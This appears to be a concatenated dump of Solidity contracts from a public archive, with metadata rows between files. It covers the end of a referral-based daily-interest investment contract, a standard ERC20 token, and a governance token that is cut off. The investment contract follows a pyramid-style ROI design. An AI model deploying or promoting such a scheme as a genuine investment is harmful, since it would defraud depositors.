function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256,uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = (numberOfDays < 10) ? investmentPlans_[investor.plans[i].planId].dailyInterest + numberOfDays : investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = (numberOfDays < 10) ? investmentPlans_[investor.plans[i].planId].dailyInterest + numberOfDays : investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
totalInvestmentsCount_=totalInvestmentsCount_.add(1);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
msg.sender.transfer((_amount.mul(30)).div(1000));
return true;
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0)
{
uint256 marketingPercentage = (withdrawalAmount.mul(ADMIN_EXIT_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
msg.sender.transfer(withdrawalAmount.sub(marketingPercentage));
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);//*
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 296,587 | 10,681 |
fc8bb71d17c7c79119e552eea91e8571a57c253d0211338250ce520d6104b92f
| 22,991 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ee/ee51905f46860ac4f275c474008040cd1a49cb5c_XKalibur.sol
| 2,978 | 11,590 |
pragma solidity ^0.5.0;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(_msgSender());
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is Context, PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract XKalibur is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable, ERC20Pausable {
// create instance of the XKalibur token
constructor () public ERC20Detailed("XKalibur", "XK", 18) {
}
}
| 312,957 | 10,682 |
541334704f2169490f1d7932fa1aa1cc98624f846c2feeb02200936150b240c3
| 41,442 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/85/855dc32de8b250f9e17f741309e9f84873dad04f_Metaverse.sol
| 5,145 | 20,310 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
abstract contract EIP712 {
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(abi.encode(typeHash,
name,
version,
block.chainid,
address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
library Counters {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
// This version of ERC20Permit is from OpenZeppelin as of commit
interface IERC20Permit {
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping (address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
constructor(string memory name) EIP712(name, "1") {
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH,
owner,
spender,
value,
_useNonce(owner),
deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Metaverse is ERC20Permit, Ownable {
constructor() ERC20("Metaverse", "MV") ERC20Permit("Metaverse")
{
}
uint256 constant private _maxTotalSupply = 888e18; // 888 max mv
function mint(address _to, uint256 _amount) public onlyOwner {
require(totalSupply() + _amount <= _maxTotalSupply, "ERC20: minting more then MaxTotalSupply");
_mint(_to, _amount);
_moveDelegates(address(0), _to, _amount);
}
// Returns maximum total supply of the token
function getMaxTotalSupply() external pure returns (uint256) {
return _maxTotalSupply;
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
// A record of states for signing / validating signatures
//mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool)
{
bool result = super.transferFrom(sender, recipient, amount); // Call parent hook
_moveDelegates(sender, recipient, amount);
return result;
}
function transfer(address recipient, uint256 amount)
public virtual override returns (bool)
{
bool result = super.transfer(recipient, amount); // Call parent hook
_moveDelegates(_msgSender(), recipient, amount);
return result;
}
